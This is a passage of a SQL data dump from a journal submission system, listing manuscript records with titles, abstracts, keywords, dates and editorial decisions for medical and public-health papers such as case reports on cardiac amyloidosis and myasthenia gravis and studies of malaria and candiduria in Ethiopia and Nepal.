presence of many wild rabbits, the Oryctolagus cuniculus, in Australia are of major concern. Researchers were interested to investigate the age of the rabbits. Different types of models, including non-linear models were used. Besides. Different types of plots and diagrams for the measures of efficiency were used. Results revealed that dry weight of eye lens of the rabbit has nonlinear relationship with the age of the rabbit. The different posterior summary measures shown that differences between the estimates of the models were revealed. ','Bayesian Analysis, Rabbit, Growth curve.',5410,NULL,'2023-09-17',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14082,14139,971,0,'ipaclr-23-14082','Understanding the Genetics of Type 1 Waardenburg Syndrome in a Dominantly Inherited Family',NULL,13,0,'','','v',59074,NULL,'2023-09-19',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14083,14141,45,0,'iphsj-23-14083','The serial accumulator',NULL,5,0,'','A 74 year old lady came to our with non-productive cough, sloping edema and worsening dyspnoea for about 10 days, she had already performed a chest CT scan at home which showed slight bilateral baseline fluid. She decided to go to the ED where they found a mild normocytic normochromic anemia (Hb 11.4 g/dL), Troponin I 148 ng/L, BNP 2554 pg/mL, and LDH 330 U/L. The troponin curve performed with dosage at three and ten hours was not significant due to ischemic in progress. At the anamnestic interview, evidence of arterial hypertension, chronic ischemic heart disease, recent PMK implant (approximately 20 days earlier for the onset of symptoms for BAV II° Mobitz 2), previous HCV infection subjected to eradicating antiviral therapy. On admission, the patient was dyspneic but hemodynamically stable. In the light of the suggestive picture of congestive heart failure, intravenous diuretic therapy was set up with furosemide and potassium canrenoate with consequent benefit on respiratory dynamics. On the fifth day of hospitalization, in order to monitor cardiac function, it was decided to perform a new echocardiogram, which showed severe concentric hypertrophy of the left ventricle with preserved volume, moderate mitral regurgitation and sclerocalcified aortic valve, concluding for probable storage disease. Approximately three days after the last echocardiographic check-up, the patient reported acute precordial pain, the ECG was not suggestive of ACS but there was a rapid increase in the Troponin I value (34624 pg/mL) and consequently the patient went to UTIC to perform coronary angiography, which was negative for coronary lesions. In consideration of the suspicion of cardiac infiltrative pathology, it was decided to perform:\\r\\n-	serum immunofixation for k and lambda chains, which later proved positive for the monoclonal lambda component;\\r\\n-	bone scan with HMDP, tested negative (Score 0 by Perugini);\\r\\n-	endomyocardial biopsy, which confirmed the presence of a picture compatible with storage disease, specifically attributable to ‘‘cardiac amyloidosis with myocytolysis’’;\\r\\n-	immuno-electromicroscopy, with evidence of an ultrastructural picture compatible with AL Amyloidosis (lambda light chains).\\r\\nOnce the acute symptoms were controlled and the patient stabilized, the decision was made to discharge the patient with an indication to continue the therapeutic process at a specialist reference center.\\r\\nCardiac amyloidosis is a severe and progressive infiltrative disease caused by hereditary or acquired physiological abnormalities that lead to the accumulation of amyloid fibrils in the heart. More than 98% of cardiac amyloidosis is caused by just two types of proteins: immunoglobulin light chains and transthyretin. Amyloidosis AL has an annual incidence of approximately 1 per 100,000 people in the United States.\\r\\nTypically, cardiac amyloidosis manifests itself with a large number of extracardiac signs and symptoms, defined as \\\"red flags\\\", which can guide the diagnostic suspicion.\\r\\nThese include proteinuria, macroglossia, bruising of the skin, and a history of carpal tunnel syndrome. But there are also cardiac red flags, such as the presence of heart failure with a level of NT-proBNP disproportionate to the echocardiographic evidence, right heart failure in the presence of normal valvular and ventricular function, persistently elevated troponin levels, a QRS voltage too low or an early conduction disturbance.\\r\\nHowever, even in the absence of \\\"red flags\\\", a storage disease must always be suspected in patients with multiple ischemic events but with unaffected coronary, and in acute decompensated patients. The therapeutic approaches are distinguished in those aimed at treating the comorbidities deriving from the disease, such as heart failure, arrhythmias, conduction disturbances, thromboembolism, aortic stenosis, and actual disease-modifying treatments which are able to act on different stages of production of amyloid fibrils, from formation to assembly.\\r\\n1.	Nils de Marneffe. Cardiac amyloidosis: a review of the literature. Acta Cardiol. 2022 Oct;77(8):683-692.\\r\\n2.	Maurer MS. Common questions encountered in the diagnosis and management of Cardiac Amyloidosis. Circulation. 2017 Apr 4;135(14):1357-1377.\\r\\n3.	Dubrey SW. Amyloid diseases of the heart: assessment, diagnosis, and referral. Heart. 2011 Jan;97(1):75-84.\\r\\n4.	Writing Committee. 2023 ACC Expert consensus decision pathway on comprehensive multidisciplinary care for the patient with Cardiac Amyloidosis: A report of the American College of Cardiology solution set oversight committee. J Am Coll Cardiol. 2023 Mar 21;81(11):1076-1126.\\r\\n5.	Palladini G. Daratumumab plus CyBorD for patients with newly diagnosed AL Amyloidosis: safety run-in results of ANDROMEDA. Blood. 2020 Jul 2;136(1):71-80.\\r\\n6.	Gillmore JD. Nonbiopsy Diagnosis of Cardiac Transthyretin Amyloidosis. Circulation. 2016 Jun 14;133(24):2404-12.','Cardiac amyloidosis',690,NULL,'2023-09-19',NULL,'Submitted',2,NULL,'2023-10-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14084,14141,45,0,'iphsj-23-14084','A case of myasthenia gravis',NULL,2,0,'','An 86-year-old man came to our with reported weakness in the right upper limb and lower limbs, along with rhinolalia, dysarthria, and dysphagia for solids and liquids that had developed a few months prior. He had smoking history and a past medical history of chronic ischemic heart disease, atrial fibrillation with CRT-D implantation, two previous TIAs, arterial hypertension, and dyslipidemia. Upon admission, he exhibited mild dyspnea with mild hypoxemia and hypercapnia on arterial blood gas analysis. Consultations were scheduled with a speech therapist, who identified coordination issues with swallowing without aspiration, and a neurologist, who observed a predominant right-sided pyramidal-extrapyramidal syndrome without dysautonomia. Brain CT revealed chronic cerebral vascular disease without focal abnormalities attributable to acute events. The involvement of the bulbar region, along with signs of both upper and lower motor neuron involvement, raised differential diagnostic concerns between amyotrophic lateral sclerosis (ALS) and myasthenia gravis. Definitive diagnosis relied on motor evoked potential studies, demonstrating a decremental response in action potential amplitude following repetitive nerve stimulation, suggestive of a junctional pathology like myasthenia gravis. This justified the involvement of respiratory muscles and prompted serum testing for anti-acetylcholine receptor (AChR) antibodies, which were positive, as well as treatment with pyridostigmine and corticosteroids. Chest CT excluded thymoma, while thyroid ultrasound revealed a multinodular goiter underlying subclinical hypothyroidism with positive anti-thyroid peroxidase (TPO) antibodies.\r\nDiscussion: The term \"myasthenia gravis\" derives from Greek and means \"severe weakness.\" It is an autoimmune disorder affecting the neuromuscular junction, characterized by autoantibodies directed against post-synaptic acetylcholine receptors. A small percentage of cases present with antibodies against muscle-specific kinase. Muscle fatigueability is a characteristic feature, involving progressive reduction in strength during physical exercise, with diurnal fluctuations, worsened by exertion, improved after sleep or rest. It affects the muscles of the limbs and facial region, along with oropharyngeal bulbar involvement (mastication, dysarthria, dysphagia, rhinolalia), ocular symptoms (ptosis and diplopia), and occasionally respiratory muscle involvement, without autonomic involvement or normal osteotendinous reflexes.  Only 15% of patients with myasthenia gravis have thymoma, while the remainder have thymic hyperplasia. The thymus appears to play a pathogenic role in the autoimmune response [1]. Diagnosis is based on neurophysiological tests such as motor evoked potentials (decremental response of action potential to low-frequency repetitive nerve stimulation) and single-fiber electromyography (increased jitter), antibody assays and, although seldom used, \"Tensilon test,\" consisting of administration of anticholinesterase drugs followed by transient improvement of clinical symptoms.  Currently, there is no definitive cure for myasthenia gravis, but there are treatment options available for symptom management. This includes anticholinesterase drugs like pyridostigmine; if no improvement is observed, corticosteroids and immunosuppressive drugs (azathioprine as the first choice) are initiated to reduce the autoimmune response. Plasmapheresis or immunoglobulins are used in case of myasthenic crisis, and physical therapy is employed to maintain muscle strength. Thymectomy is indicated in the presence of thymoma and generalized myasthenia.\r\nDespite myasthenia gravis usually occurs in young women and adult men, it can develop at any age and should be suspected in the presence of muscle weakness.','Myasthenia gravis',689,NULL,'2023-09-19',NULL,'Submitted',2,NULL,'2023-10-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14085,14142,45,0,'iphsj-23-14085','CANDIDURIA IN THE PATIENTS VISITING AT KATHMANDU MODEL HOSPITAL, NEPAL',NULL,17,0,'','The effective management of Candiduria depends upon proper identification of Candida species and their antifungal susceptibility test. Therefore, this cross-sectional study is conducted to assess the occurrence of different Candida species in urine and determine their antifungal susceptibility pattern from productive age group 15-65. The isolation and identification of Candida species from clean catch midstream urine were done by culturing on Sabouraud Dextrose Agar with chloramphenicol followed by germ tube test, sugar fermentation test, chlamydospore production test, and further differentiated by using CHROM agar. The antifungal susceptibility test was done on Muller Hinton Agar with 2% glucose and 0.5 µg/mL methylene blue, and result interpretation was done as recommended to CLSI guidelines (M 44-A2). Candida parapsilosis (14,31.1%) and C. albicans (12, 26.67%) were the two most common isolates. From 586 urine samples, 45 Candida species were isolated in which the predominant one is C. parapsilosis (14, 31.1%) followed by C. albicans (12, 26.6%). The antifungal susceptibility test showed that fluconazole resistant (29.41%) was comparatively more than voriconazole (21.87%). Since non albicans Candida are emerging pathogen and its antifungal resistant pattern is hiking, it is crucial to incorporate fungus identification in routine testing and identify their antifungal susceptibility pattern to ensure effective treatment and monitor for any antifungal resistance.','Candiduria, Candida parapsilosis, fluconazole, Voriconazole.',686,NULL,'2023-09-21',NULL,'Submitted',2,NULL,'2023-10-31',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14086,14143,971,0,'ipaclr-23-14086','Hematologic Disorders in Older Adults: Diagnosis and Management',NULL,25,0,'','','',59074,NULL,'2023-09-22',NULL,'Submitted',2,NULL,'2023-10-19',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14087,14144,971,0,'ipaclr-23-14087','Environmental Epigenetics: Unraveling the Impact of Exposures on Gene Regulation',NULL,11,0,'','','',3249,NULL,'2023-09-22',NULL,'Submitted',2,NULL,'2023-10-19',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14088,14145,45,0,'iphsj-23-14088','Advances in Precision Medicine: Targeted Therapies and Risk Prediction Models in Cardiovascular Disease Management',NULL,5,0,'','Cardiovascular disease (CVD) continues to be a leading cause of morbidity and mortality worldwide, necessitating ongoing research and innovation in its prevention, diagnosis, and treatment. This trending research article explores recent breakthroughs in the field of CVD, with a focus on precision medicine approaches, targeted therapies, and advanced risk prediction models. These advancements are poised to revolutionize the management of CVD, offering more personalized and effective strategies for patients.','Precision Medicine; Cardiovascular Disease; Targeted Therapies; Risk Prediction Models; Genomic Analysis; Biomarker Discovery',3430,NULL,'2023-09-29',NULL,'Submitted',2,NULL,'2023-10-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14089,4576,45,0,'iphsj-23-14089','Incidence and risk factor of Trauma and injury among road traffic accidents patients in Woliyta Zone, Ethiopia: Retrospective cohort study ',NULL,14,0,'','Abstract\r\nPurpose: the study aimed to investigate incidence and the determinate of trauma and injury among road traffic accident patients in Wolita zone hospitals.  \r\nMethods: Retrospective study design was carried out among total of 421 patients. The study was conducted from September 24, 2018, to November 26, 2021. Data were collected by using structured questionaries’ and entered into Epi Info version 3.1.  For the analysis propose the data was exported to statistical package for social science version 26. Then, data was cleaned and missing values were managed. Descriptive statics were done and results were presented using text, table, and graphs. To identify factors, bivariate and multivariate analysis logistic regression was conducted. \r\nResults: The incidence of trauma in Wolayta zone hospitals was 81.2% (77.7, 85.5). Being rainy weather (AOR=2.9, 95% CI: 2.3-10.5), substance use (AOR= 2.3; 95% CI: 2.1-4.9), being a male sex (AOR= 3.2, 95% CI: 2.2-5.9), and being urban resident (AOR= 0.47, 95% CI: 0.28- 0.79) were significantly associated with road trauma and injury. \r\nConclusion: The incidence of trauma and injury caused by accidents was substantially high. Rainy weather conduction, substance use, male sex, and being an urban resident are factors significantly associated with trauma. Derivers and pedestrian education on road and weather condition and avoiding substance use during traveling is very critical to reduce traffic accidents.','Incidence, determinate, Retrospective cohort, study, trauma and injury, Woliyta, Ethiopia',643,NULL,'2023-10-01',NULL,'Submitted',2,NULL,'2023-10-18',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14090,14146,45,0,'iphsj-23-14090','The Vital Connection between Exercise and Health',NULL,3,0,'','Exercise is a fundamental component of a healthy lifestyle, with profound implications for physical and mental well-being. This abstract explores the vital connection between exercise and health, highlighting the multifaceted benefits it offers. From weight management and cardiovascular health to mental well-being and disease prevention, exercise plays a pivotal role in enhancing the quality and longevity of life. This discussion underscores the importance of incorporating regular physical activity into daily routines and emphasizes the need for moderation and individualization in exercise practices. Recognizing this connection and harnessing the power of exercise can lead to a healthier, happier, and more fulfilling life','Exercise And Health; Physical Activity; Fitness Benefits; Weight Management; Cardiovascular Health; Mental Well-Being; Disease Prevention; Longevity',643,NULL,'2023-10-04',NULL,'Submitted',2,NULL,'2023-10-05',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14091,14147,45,0,'iphsj-23-14091','Transforming Healthcare: The Impact of Artificial Intelligence',NULL,25,0,'','Artificial Intelligence (AI) is revolutionizing the healthcare industry, offering innovative solutions to long-standing challenges. This research article explores the profound impact of AI on healthcare, including diagnosis, treatment, patient care, and healthcare management. We delve into the benefits and challenges of implementing AI in healthcare, its potential to enhance patient outcomes, and the ethical considerations that accompany this transformative technology','AI in healthcare: Medical AI; Healthcare automation; Machine learning in medicine; Diagnostic AI; AI-driven diagnostics',651,NULL,'2023-10-04',NULL,'Submitted',2,NULL,'2023-10-05',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14092,14146,45,0,'iphsj-23-14092','Liquid Biopsy: A Revolutionary Approach to Cancer Detection',NULL,3,0,'','Liquid biopsy represents a revolutionary paradigm shift in the field of cancer detection and monitoring. This non-invasive diagnostic approach leverages the analysis of various components in bodily fluids to detect genetic mutations, circulating tumor cells (CTCs), cell-free DNA (cfDNA), and other biomarkers associated with cancer. In this abstract, we delve into the deep details of liquid biopsy, including its methods and applications. The article highlights the potential impact of liquid biopsy on early cancer detection, treatment monitoring, and tumor profiling. However, challenges in sensitivity, specificity, and standardization must be addressed to unlock its full potential. Despite these challenges, liquid biopsy holds great promise, and on-going research and technological advancements continue to refine its accuracy and broaden its applications. This revolutionary approach has the potential to transform cancer care, offering a less invasive, more accessible, and potentially earlier method of cancer detection and monitoring','Liquid biopsy; Cancer detection; Biomarkers; Cell-free DNA (cfDNA); Circulating tumor cells (CTCs); Early cancer diagnosis; Personalized medicine; Treatment monitoring',4076,NULL,'2023-10-04',NULL,'Submitted',2,NULL,'2023-10-05',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14093,14148,45,0,'iphsj-23-14093','Efficacy of Taxol and Prunella Vulgaris against human lung  cancer cell line-A549.',NULL,14,0,'','Authors: Darakhshanda Neelam1*, S.A. Husain2, Tanveera Tabasum3, M. Maqbool lone4. 1:Department of Advance Centre for Human genetics, SKIMS, Srinagar, Kashmir, 190001. 2:Jamia Millia Islamia , New Delhi, 110-025.\r\n3:Department of Zoology, Cluster University ,M.A. road, Srinagar, Kashmir, 190001. 4:Department of Radiation Oncology, SKIMS, Srinagar, Kashmir, 190001. \r\nIntroduction: Medicinal plants play a central role in the healthcare system of the large proportions of the world’s population. Plant derived compounds are an important source of several clinically useful anticancer agents. Cytotoxicity screening models are the preliminary methods for the selection of active extracts against cancer. \r\nMaterials & Methods: A comprehensive study was carried out to determine the Cytotoxic activity of active extracts of the plant- P.vulgaris, T. buccatta against human lung cancer (A549) cell line at eight different concentration to determine the IC50 ( 50% growth inhibition) by MTT assay including morphological study by fluorescence microscopy, Apoptosis by Annexin V, caspase 3-7 assay and levels of expression of genes. Each sample was assayed in triplicate and control samples include cells without plant extracts. \r\nResults: Results demonstrate that the percentage of growth inhibition increases with increasing concentrations of test compounds. The P.vulgaris extracts induced significant cytotoxic effects on the A549 cancer cell line and these effects were stronger than the other selected plant extracts reflecting a promising way of chemotherapy to counter the spread of non- small cell lung cancer. \r\nConclusion: Extract which exhibit substantial antipoliferative and apoptic activity may represent a source for novel natural anticancer entities. \r\nKeywords: A549, P.Vulgaris, T. Buccatta. \r\n','',5375,NULL,'2023-10-05',NULL,'Submitted',2,NULL,'2023-10-27',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14094,14149,85,0,NULL,'Pulmonary Invasive Fungal Colonization among Diabetic Patients',NULL,14,0,'','Opportunistic invasive fungal colonization is a growing global health concern, particularly for immune-compromised hosts. Immunosuppressive conditions like HIV/AIDS, TB, chronic lung diseases, cancer, and diabetes make people more vulnerable to fungal infections. Patients with diabetes mellitus are more likely to develop systemic fungal infections, which can increase morbidity and mortality. Objective: Determine the prevalence of pulmonary invasive fungal colonization among diabetic patients at ALERT Center Addis Ababa, Ethiopia from January 2021 to April 2022 was the goal of this study. Materials and Methods: From January 2021 to April 2022, ALERT Center conducted a cross-sectional study. Sputum samples from all 418 diabetes patients were obtained, inoculated on Sabouraud Dextrose Agar, and then each participant\'s fungus were identified according to conventional microbiologic method. Results: Of the 418 individuals with diabetes who were included in total, 59.1% had fungal isolates. According to the frequency of fungal isolates, yeast infections were the most common, accounting for 47.1% of cases, while mold infections accounted for 12.3%. C.albicans, 21.1%), C.krusei (17.5%), C.tropicalis (2.4%), C.rugasa (1.4%), and mixed growth (C.albicans, C.krusei, 3.8%) were the most prevalent species. Aspergillus, Niger, Scopulariopsis, and Penicilium were found to be isolated in 39.9%, 1.4%, and 1.0% of cases, respectively.\r\nConclusions: Fungal colonization occurs more frequently in diabetics. According to this study, there is a significant amount of mold and invasive yeast in the lungs. This finding implies that in order to enhance patient outcomes for patients with fungal colonization, early diagnostic, therapeutic, and patient care processes need to be improved. ','Fungal colonization, Diabetes mellitus, Culture',3404,NULL,'2023-10-08',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14095,14120,86,0,'ipaom-23-14095','Cancer Epidemiology in Pakistan.',NULL,14,0,'','Introduction: This research study provides valuable insights into the distribution of malignancies among different population groups, age groups, genders, and geographical regions. Aim: This study aims to identify differences in cancer cases between adults and pediatric populations, analyze behavior distribution by gender and age group, and assess the prevalence of specific cancer types across different demographics. Methods: The study analyzed data from Shaukat Khanum Memorial Cancer Hospital and Research Center (SKMCH&RC) in 2022, examining cancer cases in adults and pediatric patients, behavior distribution, and analytical proportions. It assessed malignancies by gender and age group, identified top 10 prevalent cancers. Results: The study found that among adult patients, 87.93% had malignant cancers, while in pediatric patients, it was 11.99%. Benign and uncertain cases were prevalent in adults (97.78%), with pediatric cases at 2.21%. Punjab and Khyber Pakhtunkhwa had high cancer rates compared to other provinces. The top 10 cancers included breast, colon, rectum & anus, Hodgkin lymphoma, lip & oral cavity, esophagus, prostate, non-Hodgkin\'s lymphoma, leukemia, kidney, and stomach cancer. Most cases were local or regional (23% and 44.3%, respectively), while distant cases were 20.5%, and 11.2% were unknown. Conclusion: This research study provides insights into cancer distribution, guiding prevention and treatment strategies. It highlights the importance of targeted prevention, early detection, and accurate staging. Valuable for policymakers, health professionals, and researchers, advancing cancer control and patient outcomes.','Cancer statistics; Pakistan; National Cancer Registry Program; Incidence; Distribution',3081,NULL,'2023-10-09',NULL,'Submitted',4,NULL,'2024-01-18',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14096,14151,45,0,'iphsj-23-14096','Assessment of Willingness to Pay: The Mechanism of Financial Pooling for Community Based Health Insurance and Associated Factors among Households in Tigray Region, Northern Ethiopia, September 1-October 20, 2020',NULL,14,0,'Community health insurance','Abstract\r\nDependence on out-of pocket payment (OPP) for healthcare may lead poor households to undertake catastrophic health expenditure; millions of people suffer and die because they do not have the money to pay for health care. Worldwideabout44million households face financial problems due to health care expenditure; morethan40% of Africannation’shealthexpenditurecomesfromout-of-pocketpayment (OPP) makes scarcity of funds for health and low income groups made health payments by borrowing and selling of their properties. So, the agenda that developing system of health care financing know is common for all nations towards universal health coverage (UHC) using the emerging concept to community-based health insurance (CBHI) potential strategy to achieve universal health coverage in developing countries by talking the problem of health care financing in low-income countries (LIC) helping for revenue raising, to narrowing financial gaps of health sectors providing universal health coverage through. Despite great efforts to improve accessibility to modern health-care services in the past two decades, in Ethiopia, utilization of health-care services has remained very low. Yet, the functions of pooling funds and organize it critical for countries ‘progress towards UHC.\r\nObjective: To assess the willingness to pay, explore mechanism of financial pooling for community based health insurance and factors associated among households inTigrayRegion, NorthernEthiopia, 2020\r\nMethod: Community-based both quantitative and qualitative cross-sectional study was carried out from September-October 2020 in Tigray, Ethiopia. Sample size was determined using single population proportion formula, and multi-stage cluster sampling was used to select 845 study participants and10KII and 4FGD was selected using purposive sampling technique. Data was collected using an interviewer-administered questionnaire managed and analyzed using Epi-dataV-3.5.1andSPSSV-21. And interview guide using Atlas-t I soft ware for qualitative data.\r\nRESULTS: Based on 845 households surveyed ,more than half of respondents, 483(57.2%) werefemale.Majorityoftherespondents,743(87.9%)knowingthecurrentpremiumandregistrationfeeofcommunitybasedhealthinsurance(CBHI),withmorethanninetypercent790(93.5%)areplantorenew/enrolledtheirmembershipofCBHI,withthemeanamountofpremiumperhouseholdheadswillingtopaywas396ETB(SD=±216)and310ETB(SD=±115)perhouseholdannuallyforurbanandruralrespectively.Inadditionsixoutoften(62%)oftheurbanand5outoften(52%)ruraldwellerswanttopayadditionalamountofmoneytothecurrentgovernmentalpremiumthreshold(whichis240ETB forruraland350ETBfor urban).\r\nCONCLUSION: Community-based health insurance is an effective means to increase utilization of health-care services and provide the scheme to member households with mechanism of pool be situated at district level, enabling districts owning of the scheme, decentralized health system and decentralized decision and ensures equity. To alleviated eficits or to make sustainable CBHI increasetheannualpremiumandenrollmentofthecommunitytoCBHI, Budgetsubsidizationfromgovernmenttoreversethefacedruin, increasecommunityawareness, continuewiththecurrentpoolingmechanism atdistrictlevel, butestablish or reviseadepartmentatHealth officethatcontrolsprocessof CBHI.\r\n','Keywords:Community-basedhealthinsurance,health-careutilization,healthcarefinancing,universalhealthcoverage,financialpooling\r\n',685,NULL,'2023-10-10',NULL,'Submitted',2,NULL,'2023-11-27',NULL,1,1,'0','Accept',0,'','',NULL,0,0,1,NULL,0),(14099,14154,73,0,'ipjnn-23-14099','Thinking Outside the Walls: Partnerships for Improving Outcomes in Hospitalized People with Parkinson’s Disease',NULL,3,1,'Emerging Therapies and Research in Parkinson\'s Disease','NA','Parkinson’s disease; hospitalized; inpatient; electronic health record; intervention',339,NULL,'2023-10-12',NULL,'Submitted',2,NULL,'2023-10-31',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14100,14153,73,0,'','Poststroke Aphasia Combined with Cognitive Impairment.','',3,1,'Neurodegenerative Disorders','','',356,'','2023-10-10',NULL,'Submitted',18,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,0),(14101,12056,45,0,'iphsj-23-14101','PREVALENCE OF MALARIA AND ASSOCIATED FACTORS AMONG PREGNANT WOMEN ATTENDING ANTENATAL CARE AT PUBLIC HEALTH FACILITIES IN GURAGE ZONE, ETHIOPIA, 2023','',14,0,'','ABSTRACT\r\nIntroduction: During pregnancy, malaria causes life threatening outcomes to the mother, the fetus, and the newborn. In Sub-Saharan African countries, including Ethiopia, malaria in pregnancy is a major public health threat which results in significant morbidities and mortalities among pregnant women and their fetuses. Therefore, the aim of this study is to assess the magnitude of malaria and associated factors among pregnant women attending antenatal care at public health facilities in Gurage Zone, Ethiopia, to generate information that will help in malaria prevention, control, and treatment particularly among pregnant women.\r\nMethod: A facility -based cross-sectional study was conducted from March to May 2023 in Gurage Zone, Northwest Ethiopia. A multi-stage sampling technique was used to select 422 pregnant women from public health facilities. Pregnant women of all gravidities and gestations was interviewed from February to March 2023 using simple random sampling method with structured questionnaires to obtain socio-demographic, obstetric, clinical and knowledge profiles through face-to-face interview and malaria diagnosis confirmation, which is done on microscope-based laboratory techniques, (standard diagnostics, inc., Ethiopia).Pregnant women who test positive for malaria was treated for malaria with artemisinin combination therapies (ACTs) as per national guidelines. The collected data was analyzed using Statistical Package for the Social Sciences (SPSS) version 25. Logistic regression uses to assess factors associated with malaria. Adjusted odds ratio with 95% confidence interval is calculated and P-value < 0.05 is considered statistically significant. The level of statistical significance is declared at a p-value less than or equal to 0.05.\r\nResult: Overall, 422 pregnant women comprising out of those 328(77.7%) rural and 94(22.2%) urban dwellers participated in the study.  The overall magnitude of malaria was 91(21.6%).  The odds of malaria infection were 1.61 times higher among pregnant women who did not utilize ITN compared to their counterparts (AOR?=?1.61, 95% CI: 0.76, 3.38). \r\nConclusion and recommendation: The think about found that the in general greatness of malaria sickness among pregnant ladies within the ponder region was found to be tall (21.6%). \r\nArea health offices ought to give broad-scale health instruction and mindfulness building ventures to the pregnant ladies communities with respect to cleaning their environment and expelling stagnant water pools as to anticipate mosquito plenitude and thus diminish jungle fever frequency.\r\nKey word: Malaria, Pregnant women, Gurage, Ethiopia,','Key word: Malaria, Pregnant women, Gurage, Ethiopia,',685,'','2023-10-10',NULL,'Submitted',2,0,'2023-10-28','',1,1,'1','Accept',0,'','',0,0,0,0,NULL,0),(14102,14155,277,0,'ipadm-23-14102','Effects of Passive Dehydration on Muscular Strength',NULL,14,0,'','The purpose of this study is to determine the effect of passive dehydration on the muscular strength.\r\nTen healthy handbal players (from 19 to 28 years of age) from Handball Male Team, volunteered to participate in this study. \r\nTurkish Hamam used for dehydration. Subjects rested in ambient temperature 40C? (humidity was recorded %81-78) for 30 minutes in the upright sitting position.\r\nHeart rate, blood pressure, body temperature, body mass indeks (BMI), total body water (TBW) hand grip, biceps strength and leg strength were measured before and after Turkish Hamam. \r\nSignificant differences between pre and post values was determined by Wilcoxon. The association between the changes was determined by Pearson Correlation. The level of significance was set at p<0.05.\r\nAfter 30 minutes Hamam, body mass, BMI and TBW was significantly decreased (p<0.05).\r\nThere was no significantly changes in hand grip (%1,2), biceps strength (%3,7) and leg strength (%3,31) before and after dehydration (p>0,05).\r\nAfter Hamam, there was a significantly correlation beatween hand grip and biceps (r=0,707), leg strength and hand grip (r=0,759) (p>0,05), however, there was a lover correlation beatween leg strength and biceps (r=0.548) (p<0,05).  \r\nIn conclution, moderate pasive dehydration can adversely affect the maximum muscular strength, but is not significantly','Dehydration, muscle strength, Turkish Hamam',5022,NULL,'2023-10-12',NULL,'Submitted',4,NULL,'2024-01-18',NULL,1,1,'0','Accepted to publish.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14103,14155,277,0,'ipadm-23-14103','Effects of massage therapy and the role of physical activity as an improvement in the psycho-physical state of the individual and reduction of pain and anxiety during the COVID-19 pandemic systematic review@@',NULL,15,0,'','Deep skills: positive mind neuroscience of exercise to counter Covid 19\r\n\r\n   Memory and Learning in the time of Covid 19\r\nWe must begin to lose our memory, even if only occasionally, to understand that memory is what fills our lives. Life without memory is not life. Our memory is our consistency, our reason, our feeling, even our action. Without her we are nothing.\r\nLuis Bunuel\r\n\r\n\r\nMemory is a wonderful mechanism, a means of transporting us back in time. We can go back a moment, or a large part of life. Sometimes not perfect, sometimes not authentic, sometimes with nuanced details, memory is however the system that allows us to recall the information we have stored and learned from both the external and internal environment. It is the experience that changes us, the contact with the environment that changes our behavior through a series of structural and functional changes in our nervous system. The last challenge of neuroscience is precisely to better understand the complexity of these mechanisms and how complex phenomena such as learning and memory can occur.\r\nAlthough the changes that occur within the individual brain cells can be relatively simple, considering that the brain is made up of many billions of neurons, the overall phenomenon is certainly very complex and makes the isolation and identification of the specific changes responsible of a certain really difficult memory. Similarly, although the elements of a specific learning task may be simple, its implications for the organism can be very complex (Carlson, 2002).\r\nFrom a neurobiological point of view, learning and memory are adaptations to the environment of the brain circuits that allow us to respond appropriately to situations we have previously experienced. Hence, learning (the process by which the nervous system acquires new information and experiences) and memory (the ability to retain, retain and recall this information) represent the main mechanisms through which environmental events shape behavior. The experiences are not simply \"accumulated\" in the brain, but are capable of causing plastic modifications in our nervous system and of altering the circuits involved in our most sophisticated functions; in this way they change the way we act, think, perceive, plan. Although learning and memory are two closely related functions, they have temporal sequences and nervous mechanisms that do not always coincide. From a neurophysiological point of view, in fact, the learning process is essentially functional, ie entrusted to reverberant circuits and unstable morphological modifications, while the memory process is structural and presupposes stable morphological modifications. These changes are accompanied by an increase in protein synthesis and consist of an increase in the number and volume of the dendritic spines (Gasbarri and Tomaz, 2005).\r\nThe importance of understanding the mechanisms that underlie the memory process, and the hope of being able to intervene when they are damaged, is therefore easily understood: they depend on the quality of life and the survival of the individual. This type of considerations helps to make the field of research on the mechanisms underlying memory particularly active. Many of these studies are carried out on animal models, but one wonders how much these studies are predictive of human reality both in terms of memory neurobiology (think, for example, of the different and more extensive development of the cortex in humans), and regarding the effect of drugs of potential therapeutic use in memory disorders. Some types of memory, however, have common characteristics in animals and humans, and animal models make it easier to study simple forms of learning and memory - such as the conditioned blink reflex - which are completely human similar to those studied in small mammals. Furthermore, the preliminary study on the animal very often allows to safeguard thousands of human lives and to avoid, for example, the experimentation of drugs on the ex-abducted man. Learning is the process by which experiences modify our nervous system and therefore our behavior. The primary function of the ability to learn is to develop behaviors suitable for a constantly changing environment. Experiences are able to change the way we perceive, act, think and plan. The ability of our nervous system to change in relation to experience is called synaptic plasticity and consists of a structural and functional change in the nervous structures which is reflected in changes in the processes of perception, memory, thought, planning and action.\r\nLearning phenomena can be distinguished in:\r\nNon-associative learning: habit and awareness\r\nAssociative learning: perceptual learning, stimulus response learning (classical / Pavlonian conditioning), instrumental / operative conditioning by trial and error, motor learning, relational learning. Although the understanding of the mechanisms responsible for learning and other plastic modifications that take place in the adult brain still remains the subject of debate, there is broad consensus on the concept that at the basis of these phenomena there are modifications finely regulated by the strength of the synapses (Madison et al., 1991).\r\nWhile in development, the changes are based on the reorganization of the connections that already exist between the cells, the strength of the synapses can also change in adulthood. The cellular mechanisms underlying these 